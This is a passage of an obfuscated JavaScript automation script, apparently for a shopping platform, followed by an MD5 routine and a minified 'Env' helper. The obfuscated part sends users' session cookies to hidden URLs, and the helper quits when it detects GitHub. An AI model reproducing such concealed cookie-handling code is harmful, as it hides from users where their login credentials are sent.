51')]('\x3d'))]=_0x4312c1[_0x87f4('‫41e','\x76\x76\x42\x43')]('\x3b')[0x0][_0x87f4('‫41f','\x4c\x51\x59\x24')](_0xb62ad5[_0x87f4('‮420','\x6e\x50\x69\x51')](_0x4312c1[_0x87f4('‫a2','\x33\x51\x65\x48')]('\x3b')[0x0][_0x87f4('‮421','\x79\x79\x31\x4e')]('\x3d'),0x1));}}for(const _0x2e1310 of Object[_0x87f4('‮422','\x23\x41\x65\x78')](lz_cookie)){cookie+=_0xb62ad5[_0x87f4('‫423','\x44\x66\x34\x2a')](_0xb62ad5[_0x87f4('‫424','\x71\x53\x72\x62')](_0xb62ad5[_0x87f4('‮425','\x63\x4f\x25\x61')](_0x2e1310,'\x3d'),lz_cookie[_0x2e1310]),'\x3b');}$[_0x87f4('‫426','\x67\x31\x5a\x28')]=cookie;}}}}else{console[_0x87f4('‮427','\x5d\x25\x68\x79')](_0x3c4cff[_0x87f4('‫428','\x29\x4c\x6c\x6b')]);}}catch(_0x338065){console[_0x87f4('‮429','\x61\x46\x45\x33')](_0x338065);}finally{if(_0xb62ad5[_0x87f4('‫42a','\x71\x23\x23\x76')](_0xb62ad5[_0x87f4('‮42b','\x5d\x25\x68\x79')],_0xb62ad5[_0x87f4('‮42c','\x6c\x7a\x21\x32')])){_0xb62ad5[_0x87f4('‮42d','\x6d\x54\x55\x53')](_0x14cf1e);}else{$[_0x87f4('‮42e','\x58\x6d\x41\x57')](_0x3c4cff[_0x87f4('‫42f','\x44\x48\x5a\x34')]);}}}});}});}function getToken(){var _0x192fc6={'\x57\x6d\x59\x46\x4d':function(_0x1bd384){return _0x1bd384();},'\x67\x56\x75\x52\x51':function(_0x4ff590,_0x4bdb08){return _0x4ff590===_0x4bdb08;},'\x55\x46\x6c\x4d\x4b':_0x87f4('‮430','\x4c\x72\x2a\x77'),'\x4f\x42\x46\x57\x62':function(_0x379369,_0x50a043){return _0x379369!==_0x50a043;},'\x4e\x54\x41\x70\x72':_0x87f4('‫431','\x4d\x42\x49\x64'),'\x57\x44\x51\x74\x56':_0x87f4('‮432','\x23\x41\x65\x78'),'\x72\x53\x62\x6b\x50':_0x87f4('‫433','\x63\x63\x57\x42'),'\x61\x68\x6b\x49\x72':function(_0x7d5edb,_0x4817e1){return _0x7d5edb!==_0x4817e1;},'\x77\x4b\x63\x72\x5a':_0x87f4('‮434','\x79\x5a\x59\x32'),'\x56\x48\x58\x74\x5a':_0x87f4('‮435','\x34\x74\x40\x45'),'\x6b\x61\x4d\x47\x62':function(_0x3c0c64){return _0x3c0c64();},'\x6f\x63\x59\x6d\x46':_0x87f4('‫436','\x54\x36\x33\x71'),'\x47\x61\x59\x53\x75':_0x87f4('‫437','\x71\x53\x72\x62'),'\x51\x78\x79\x54\x57':_0x87f4('‮438','\x67\x31\x5a\x28'),'\x75\x61\x48\x74\x4d':_0x87f4('‫439','\x35\x73\x5b\x64'),'\x79\x47\x45\x63\x66':_0x87f4('‫43a','\x58\x64\x45\x7a'),'\x55\x4a\x70\x7a\x76':_0x87f4('‫43b','\x29\x52\x26\x53'),'\x4e\x6c\x66\x7a\x4e':_0x87f4('‫43c','\x46\x55\x72\x32'),'\x53\x63\x4e\x5a\x48':_0x87f4('‮43d','\x54\x36\x33\x71'),'\x5a\x4a\x72\x55\x45':_0x87f4('‫43e','\x71\x53\x72\x62'),'\x50\x51\x50\x67\x6e':_0x87f4('‫43f','\x6d\x54\x55\x53'),'\x67\x7a\x7a\x47\x4b':_0x87f4('‮440','\x47\x7a\x7a\x79')};let _0x332081={'\x75\x72\x6c':_0x87f4('‮441','\x63\x63\x57\x42'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x192fc6[_0x87f4('‫442','\x5d\x25\x68\x79')],'Content-Type':_0x192fc6[_0x87f4('‮443','\x34\x74\x6c\x48')],'\x41\x63\x63\x65\x70\x74':_0x192fc6[_0x87f4('‮444','\x67\x31\x5a\x28')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x192fc6[_0x87f4('‮445','\x52\x62\x46\x57')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x192fc6[_0x87f4('‮446','\x54\x70\x77\x69')],'Accept-Language':_0x192fc6[_0x87f4('‫447','\x21\x35\x33\x57')],'Accept-Encoding':_0x192fc6[_0x87f4('‫448','\x23\x41\x65\x78')]},'\x62\x6f\x64\x79':_0x87f4('‫449','\x6c\x56\x25\x67')};return new Promise(_0x23f19d=>{var _0x3e82c9={'\x47\x64\x70\x44\x77':_0x192fc6[_0x87f4('‮44a','\x79\x79\x31\x4e')],'\x7a\x66\x52\x76\x44':_0x192fc6[_0x87f4('‮44b','\x25\x71\x4d\x71')],'\x7a\x64\x59\x64\x53':_0x192fc6[_0x87f4('‫44c','\x33\x51\x65\x48')],'\x74\x77\x66\x62\x67':_0x192fc6[_0x87f4('‮44d','\x63\x4f\x25\x61')]};$[_0x87f4('‫44e','\x4c\x72\x2a\x77')](_0x332081,(_0x3eafc7,_0x5ca190,_0x4cb23c)=>{var _0xebe77e={'\x4a\x57\x66\x72\x6d':function(_0x3ca578){return _0x192fc6[_0x87f4('‫44f','\x6d\x54\x55\x53')](_0x3ca578);}};try{if(_0x192fc6[_0x87f4('‮450','\x54\x36\x33\x71')](_0x192fc6[_0x87f4('‫451','\x34\x74\x6c\x48')],_0x192fc6[_0x87f4('‮452','\x4c\x72\x2a\x77')])){if(_0x3eafc7){$[_0x87f4('‮3cb','\x79\x79\x31\x4e')](_0x3eafc7);}else{if(_0x4cb23c){_0x4cb23c=JSON[_0x87f4('‮453','\x7a\x34\x77\x71')](_0x4cb23c);if(_0x192fc6[_0x87f4('‮454','\x54\x70\x77\x69')](_0x4cb23c[_0x87f4('‫455','\x63\x63\x57\x42')],'\x30')){if(_0x192fc6[_0x87f4('‫456','\x65\x45\x58\x41')](_0x192fc6[_0x87f4('‮457','\x31\x74\x29\x36')],_0x192fc6[_0x87f4('‮458','\x58\x6d\x41\x57')])){$[_0x87f4('‮459','\x34\x43\x47\x35')]=_0x4cb23c[_0x87f4('‮45a','\x6c\x7a\x21\x32')];}else{ownCode[_0x3e82c9[_0x87f4('‮45b','\x4c\x72\x2a\x77')]]=_0x3e82c9[_0x87f4('‮45c','\x29\x4c\x6c\x6b')];ownCode[_0x3e82c9[_0x87f4('‫45d','\x34\x74\x40\x45')]]=_0x4cb23c[_0x87f4('‮45e','\x37\x7a\x2a\x4a')][_0x87f4('‫45f','\x34\x43\x47\x35')];}}}else{$[_0x87f4('‮e','\x63\x63\x57\x42')](_0x192fc6[_0x87f4('‫460','\x61\x46\x45\x33')]);}}}else{_0xebe77e[_0x87f4('‫461','\x4a\x32\x6b\x76')](_0x23f19d);}}catch(_0x5d7a5f){$[_0x87f4('‫462','\x6d\x54\x55\x53')](_0x5d7a5f);}finally{if(_0x192fc6[_0x87f4('‫463','\x7a\x34\x77\x71')](_0x192fc6[_0x87f4('‫464','\x7a\x34\x77\x71')],_0x192fc6[_0x87f4('‮465','\x71\x53\x72\x62')])){_0x192fc6[_0x87f4('‫466','\x6c\x56\x25\x67')](_0x23f19d);}else{$[_0x87f4('‮467','\x34\x74\x40\x45')](_0x3e82c9[_0x87f4('‫468','\x5a\x4d\x49\x21')]);}}});});}function random(_0x113cbe,_0x931c4a){var _0x301f8d={'\x72\x79\x4c\x4f\x4d':function(_0x503f98,_0x2d7020){return _0x503f98+_0x2d7020;},'\x6f\x7a\x68\x75\x71':function(_0x5aa6e7,_0x436048){return _0x5aa6e7*_0x436048;},'\x44\x44\x75\x54\x57':function(_0xff2858,_0x5594e3){return _0xff2858-_0x5594e3;}};return _0x301f8d[_0x87f4('‫469','\x6e\x50\x69\x51')](Math[_0x87f4('‮46a','\x56\x6d\x4e\x53')](_0x301f8d[_0x87f4('‮46b','\x29\x42\x42\x45')](Math[_0x87f4('‮46c','\x65\x45\x58\x41')](),_0x301f8d[_0x87f4('‫46d','\x47\x7a\x7a\x79')](_0x931c4a,_0x113cbe))),_0x113cbe);}function getUUID(_0x3da7b0=_0x87f4('‫46e','\x5a\x4d\x49\x21'),_0x179e07=0x0){var _0x299599={'\x57\x66\x45\x67\x64':function(_0x340528,_0x29d01e){return _0x340528===_0x29d01e;},'\x4d\x41\x58\x68\x4e':_0x87f4('‫433','\x63\x63\x57\x42'),'\x4e\x65\x52\x75\x75':function(_0x57b099,_0x35e365){return _0x57b099|_0x35e365;},'\x53\x75\x65\x76\x67':function(_0x57e286,_0x30872b){return _0x57e286*_0x30872b;},'\x4f\x74\x47\x52\x55':function(_0x4b77e1,_0x1fb7b5){return _0x4b77e1==_0x1fb7b5;},'\x61\x67\x55\x65\x4c':function(_0x23efb5,_0x5a9d01){return _0x23efb5|_0x5a9d01;},'\x4f\x6b\x4f\x64\x64':function(_0x1a89d4,_0x225965){return _0x1a89d4&_0x225965;},'\x46\x42\x45\x62\x51':function(_0x1b880d,_0xfbd0b1){return _0x1b880d!==_0xfbd0b1;},'\x74\x72\x77\x6a\x54':_0x87f4('‮46f','\x65\x45\x58\x41')};return _0x3da7b0[_0x87f4('‮470','\x58\x6d\x41\x57')](/[xy]/g,function(_0x637345){var _0x41fb43=_0x299599[_0x87f4('‫471','\x54\x36\x33\x71')](_0x299599[_0x87f4('‮472','\x61\x46\x45\x33')](Math[_0x87f4('‫473','\x23\x41\x65\x78')](),0x10),0x0),_0x1a461e=_0x299599[_0x87f4('‫474','\x5a\x4d\x49\x21')](_0x637345,'\x78')?_0x41fb43:_0x299599[_0x87f4('‮475','\x5d\x25\x68\x79')](_0x299599[_0x87f4('‫476','\x47\x7a\x7a\x79')](_0x41fb43,0x3),0x8);if(_0x179e07){if(_0x299599[_0x87f4('‫477','\x29\x4c\x6c\x6b')](_0x299599[_0x87f4('‫478','\x25\x71\x4d\x71')],_0x299599[_0x87f4('‮479','\x4c\x51\x59\x24')])){if(data){data=JSON[_0x87f4('‮47a','\x6d\x54\x55\x53')](data);if(_0x299599[_0x87f4('‫47b','\x33\x51\x65\x48')](data[_0x87f4('‫47c','\x35\x73\x5b\x64')],'\x30')){$[_0x87f4('‮47d','\x34\x74\x6c\x48')]=data[_0x87f4('‮47e','\x4c\x72\x2a\x77')];}}else{$[_0x87f4('‫47f','\x52\x62\x46\x57')](_0x299599[_0x87f4('‮480','\x29\x52\x26\x53')]);}}else{uuid=_0x1a461e[_0x87f4('‫305','\x6c\x7a\x21\x32')](0x24)[_0x87f4('‫481','\x4d\x42\x49\x64')]();}}else{uuid=_0x1a461e[_0x87f4('‫482','\x34\x43\x47\x35')](0x24);}return uuid;});}function checkCookie(){var _0x31d98f={'\x6e\x79\x4e\x48\x4f':function(_0x690ca8){return _0x690ca8();},'\x76\x65\x69\x53\x65':_0x87f4('‫483','\x34\x74\x40\x45'),'\x42\x63\x57\x64\x41':_0x87f4('‫484','\x37\x7a\x2a\x4a'),'\x61\x73\x56\x50\x41':_0x87f4('‮485','\x63\x4f\x25\x61'),'\x65\x55\x68\x6a\x75':function(_0x5a7326,_0x5358e1){return _0x5a7326+_0x5358e1;},'\x6d\x67\x6c\x70\x66':function(_0x33326c,_0x2a1376){return _0x33326c===_0x2a1376;},'\x52\x41\x49\x64\x64':_0x87f4('‫486','\x4c\x72\x2a\x77'),'\x52\x69\x54\x72\x4f':function(_0x5a6211,_0x430744){return _0x5a6211!==_0x430744;},'\x6f\x6e\x77\x4c\x4b':_0x87f4('‮487','\x44\x48\x5a\x34'),'\x46\x4f\x44\x41\x73':_0x87f4('‮488','\x33\x51\x65\x48'),'\x61\x44\x59\x75\x4a':function(_0x5462fb,_0x50aab0){return _0x5462fb===_0x50aab0;},'\x65\x65\x4b\x64\x76':_0x87f4('‫489','\x33\x51\x65\x48'),'\x52\x6e\x4a\x65\x67':function(_0x174f3a,_0x491181){return _0x174f3a===_0x491181;},'\x77\x46\x43\x62\x67':_0x87f4('‫48a','\x61\x46\x45\x33'),'\x75\x4d\x43\x54\x78':_0x87f4('‮48b','\x65\x45\x58\x41'),'\x4c\x7a\x6a\x4f\x65':_0x87f4('‮48c','\x50\x6c\x34\x73'),'\x75\x66\x6e\x68\x66':_0x87f4('‮48d','\x4d\x42\x49\x64'),'\x6b\x6f\x46\x49\x67':_0x87f4('‮48e','\x31\x74\x29\x36'),'\x55\x61\x66\x66\x72':_0x87f4('‮48f','\x31\x74\x29\x36'),'\x61\x4c\x42\x65\x71':_0x87f4('‮490','\x63\x4f\x25\x61'),'\x6e\x68\x45\x72\x55':_0x87f4('‫491','\x5a\x4d\x49\x21'),'\x63\x66\x4a\x74\x59':_0x87f4('‮492','\x76\x76\x42\x43'),'\x6a\x73\x59\x62\x73':_0x87f4('‫43c','\x46\x55\x72\x32'),'\x57\x4b\x6e\x6f\x6a':_0x87f4('‫493','\x4a\x32\x6b\x76'),'\x73\x70\x6a\x72\x4b':_0x87f4('‫494','\x63\x63\x57\x42'),'\x74\x65\x47\x47\x6d':_0x87f4('‫495','\x6c\x56\x25\x67'),'\x75\x63\x6b\x4e\x48':_0x87f4('‫496','\x21\x35\x33\x57'),'\x78\x51\x72\x4e\x70':_0x87f4('‫497','\x29\x4c\x6c\x6b')};const _0x4d362f={'\x75\x72\x6c':_0x31d98f[_0x87f4('‮498','\x50\x6b\x62\x24')],'\x68\x65\x61\x64\x65\x72\x73':{'Host':_0x31d98f[_0x87f4('‮499','\x67\x31\x5a\x28')],'Accept':_0x31d98f[_0x87f4('‫49a','\x56\x6d\x4e\x53')],'Connection':_0x31d98f[_0x87f4('‫49b','\x63\x4f\x25\x61')],'Cookie':cookie,'User-Agent':_0x31d98f[_0x87f4('‫49c','\x79\x5a\x59\x32')],'Accept-Language':_0x31d98f[_0x87f4('‮49d','\x25\x71\x4d\x71')],'Referer':_0x31d98f[_0x87f4('‮49e','\x76\x70\x30\x23')],'Accept-Encoding':_0x31d98f[_0x87f4('‮49f','\x6c\x41\x4e\x55')]}};return new Promise(_0x26d151=>{var _0x4a0e2f={'\x79\x51\x78\x79\x53':function(_0x349df1){return _0x31d98f[_0x87f4('‫4a0','\x46\x55\x72\x32')](_0x349df1);},'\x76\x62\x51\x76\x46':_0x31d98f[_0x87f4('‫4a1','\x79\x79\x31\x4e')],'\x58\x77\x46\x61\x67':_0x31d98f[_0x87f4('‫4a2','\x50\x6b\x62\x24')],'\x7a\x45\x67\x78\x50':_0x31d98f[_0x87f4('‫4a3','\x58\x6d\x41\x57')],'\x48\x5a\x50\x45\x71':function(_0x51bee4,_0x5e854c){return _0x31d98f[_0x87f4('‫4a4','\x33\x51\x65\x48')](_0x51bee4,_0x5e854c);},'\x71\x6b\x62\x4a\x67':function(_0x466fd7,_0x381f32){return _0x31d98f[_0x87f4('‫4a5','\x54\x36\x33\x71')](_0x466fd7,_0x381f32);},'\x47\x56\x4a\x53\x49':_0x31d98f[_0x87f4('‫4a6','\x6c\x56\x25\x67')],'\x69\x56\x46\x5a\x50':function(_0x168cb4,_0xf18c4d){return _0x31d98f[_0x87f4('‫4a7','\x56\x6d\x4e\x53')](_0x168cb4,_0xf18c4d);},'\x42\x47\x66\x4e\x69':_0x31d98f[_0x87f4('‮4a8','\x76\x76\x42\x43')],'\x4b\x46\x6e\x54\x44':_0x31d98f[_0x87f4('‮4a9','\x56\x6d\x4e\x53')],'\x63\x44\x56\x75\x70':function(_0x99b108,_0x47514c){return _0x31d98f[_0x87f4('‫4aa','\x54\x36\x33\x71')](_0x99b108,_0x47514c);},'\x48\x65\x6a\x73\x70':_0x31d98f[_0x87f4('‫4ab','\x50\x6c\x34\x73')],'\x71\x4f\x47\x6d\x55':function(_0x5a9bb3,_0x580434){return _0x31d98f[_0x87f4('‫4ac','\x63\x63\x57\x42')](_0x5a9bb3,_0x580434);},'\x66\x6d\x4f\x72\x77':_0x31d98f[_0x87f4('‮4ad','\x79\x5a\x59\x32')],'\x6c\x71\x53\x6c\x67':_0x31d98f[_0x87f4('‮4ae','\x58\x64\x45\x7a')],'\x46\x66\x77\x79\x4e':_0x31d98f[_0x87f4('‫4af','\x76\x76\x42\x43')],'\x59\x4b\x54\x4c\x57':_0x31d98f[_0x87f4('‫4b0','\x6c\x7a\x21\x32')],'\x6c\x7a\x6c\x52\x5a':_0x31d98f[_0x87f4('‮4b1','\x76\x70\x30\x23')],'\x66\x76\x64\x64\x50':function(_0x366866,_0x4ebcec){return _0x31d98f[_0x87f4('‫4b2','\x31\x74\x29\x36')](_0x366866,_0x4ebcec);},'\x55\x4a\x66\x6c\x49':_0x31d98f[_0x87f4('‮4b3','\x71\x23\x23\x76')],'\x4b\x6c\x4b\x57\x6b':_0x31d98f[_0x87f4('‮4b4','\x74\x35\x70\x65')]};$[_0x87f4('‫4b5','\x4a\x32\x6b\x76')](_0x4d362f,(_0x42a89a,_0x2de3c1,_0x57ae8f)=>{var _0x27b0c0={'\x50\x65\x4b\x69\x4a':_0x4a0e2f[_0x87f4('‫4b6','\x73\x48\x62\x4b')],'\x69\x69\x67\x51\x41':_0x4a0e2f[_0x87f4('‫4b7','\x5d\x25\x68\x79')],'\x65\x53\x54\x45\x6a':function(_0xf9fc81,_0xfd1da5){return _0x4a0e2f[_0x87f4('‫4b8','\x58\x6d\x41\x57')](_0xf9fc81,_0xfd1da5);}};if(_0x4a0e2f[_0x87f4('‫4b9','\x29\x42\x42\x45')](_0x4a0e2f[_0x87f4('‮4ba','\x21\x35\x33\x57')],_0x4a0e2f[_0x87f4('‫4bb','\x44\x48\x5a\x34')])){try{if(_0x4a0e2f[_0x87f4('‫4bc','\x6c\x41\x4e\x55')](_0x4a0e2f[_0x87f4('‫4bd','\x54\x70\x77\x69')],_0x4a0e2f[_0x87f4('‮4be','\x71\x23\x23\x76')])){if(_0x42a89a){$[_0x87f4('‫4bf','\x4a\x32\x6b\x76')](_0x42a89a);}else{if(_0x57ae8f){_0x57ae8f=JSON[_0x87f4('‫4c0','\x29\x52\x26\x53')](_0x57ae8f);if(_0x4a0e2f[_0x87f4('‮4c1','\x71\x53\x72\x62')](_0x57ae8f[_0x87f4('‫4c2','\x54\x70\x77\x69')],_0x4a0e2f[_0x87f4('‫4c3','\x29\x42\x42\x45')])){$[_0x87f4('‮4c4','\x44\x48\x5a\x34')]=![];return;}if(_0x4a0e2f[_0x87f4('‫4c5','\x65\x45\x58\x41')](_0x57ae8f[_0x87f4('‫4c6','\x58\x64\x45\x7a')],'\x30')&&_0x57ae8f[_0x87f4('‫4c7','\x76\x76\x42\x43')][_0x87f4('‮4c8','\x7a\x34\x77\x71')](_0x4a0e2f[_0x87f4('‮4c9','\x54\x36\x33\x71')])){$[_0x87f4('‫5b','\x73\x48\x62\x4b')]=_0x57ae8f[_0x87f4('‮4ca','\x71\x53\x72\x62')][_0x87f4('‫4cb','\x4a\x32\x6b\x76')][_0x87f4('‮4cc','\x4c\x72\x2a\x77')][_0x87f4('‮4cd','\x29\x42\x42\x45')];}}else{if(_0x4a0e2f[_0x87f4('‫4ce','\x56\x6d\x4e\x53')](_0x4a0e2f[_0x87f4('‮4cf','\x63\x4f\x25\x61')],_0x4a0e2f[_0x87f4('‫4d0','\x4c\x51\x59\x24')])){cookie=originCookie+'\x3b';for(let _0xf90077 of _0x2de3c1[_0x27b0c0[_0x87f4('‮4d1','\x74\x35\x70\x65')]][_0x27b0c0[_0x87f4('‮4d2','\x79\x79\x31\x4e')]]){lz_cookie[_0xf90077[_0x87f4('‮3ae','\x54\x36\x33\x71')]('\x3b')[0x0][_0x87f4('‮4d3','\x29\x42\x42\x45')](0x0,_0xf90077[_0x87f4('‫4d4','\x71\x23\x23\x76')]('\x3b')[0x0][_0x87f4('‫4d5','\x35\x73\x5b\x64')]('\x3d'))]=_0xf90077[_0x87f4('‫4d6','\x58\x6d\x41\x57')]('\x3b')[0x0][_0x87f4('‮3b1','\x76\x70\x30\x23')](_0x27b0c0[_0x87f4('‮4d7','\x71\x53\x72\x62')](_0xf90077[_0x87f4('‮4d8','\x46\x55\x72\x32')]('\x3b')[0x0][_0x87f4('‮3af','\x31\x74\x29\x36')]('\x3d'),0x1));}for(const _0x4637d6 of Object[_0x87f4('‫4d9','\x58\x64\x45\x7a')](lz_cookie)){cookie+=_0x27b0c0[_0x87f4('‫4da','\x50\x6b\x62\x24')](_0x27b0c0[_0x87f4('‫4db','\x56\x6d\x4e\x53')](_0x27b0c0[_0x87f4('‫4dc','\x5d\x25\x68\x79')](_0x4637d6,'\x3d'),lz_cookie[_0x4637d6]),'\x3b');}}else{$[_0x87f4('‫3fc','\x34\x74\x6c\x48')](_0x4a0e2f[_0x87f4('‫4dd','\x5a\x4d\x49\x21')]);}}}}else{$[_0x87f4('‮427','\x5d\x25\x68\x79')](error);}}catch(_0x5b6db3){if(_0x4a0e2f[_0x87f4('‫4de','\x6e\x50\x69\x51')](_0x4a0e2f[_0x87f4('‮4df','\x73\x48\x62\x4b')],_0x4a0e2f[_0x87f4('‫4e0','\x58\x6d\x41\x57')])){console[_0x87f4('‮4e1','\x56\x6d\x4e\x53')](_0x87f4('‫4e2','\x6c\x7a\x21\x32')+_0x57ae8f[_0x87f4('‫3c7','\x50\x6b\x62\x24')][_0x87f4('‮4e3','\x54\x36\x33\x71')]);message+=_0x57ae8f[_0x87f4('‫319','\x4a\x32\x6b\x76')][_0x87f4('‫4e4','\x71\x23\x23\x76')];llnothing=![];}else{$[_0x87f4('‮4e5','\x6c\x7a\x21\x32')](_0x5b6db3);}}finally{if(_0x4a0e2f[_0x87f4('‫4e6','\x71\x23\x23\x76')](_0x4a0e2f[_0x87f4('‮4e7','\x54\x70\x77\x69')],_0x4a0e2f[_0x87f4('‮4e8','\x34\x74\x40\x45')])){_0x4a0e2f[_0x87f4('‫4e9','\x50\x6b\x62\x24')](_0x26d151);}else{_0x4a0e2f[_0x87f4('‮4ea','\x33\x51\x65\x48')](_0x26d151);}}}else{$[_0x87f4('‮427','\x5d\x25\x68\x79')](_0x4a0e2f[_0x87f4('‫4eb','\x58\x6d\x41\x57')]);}});});};_0xod6='jsjiami.com.v6'; + +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs 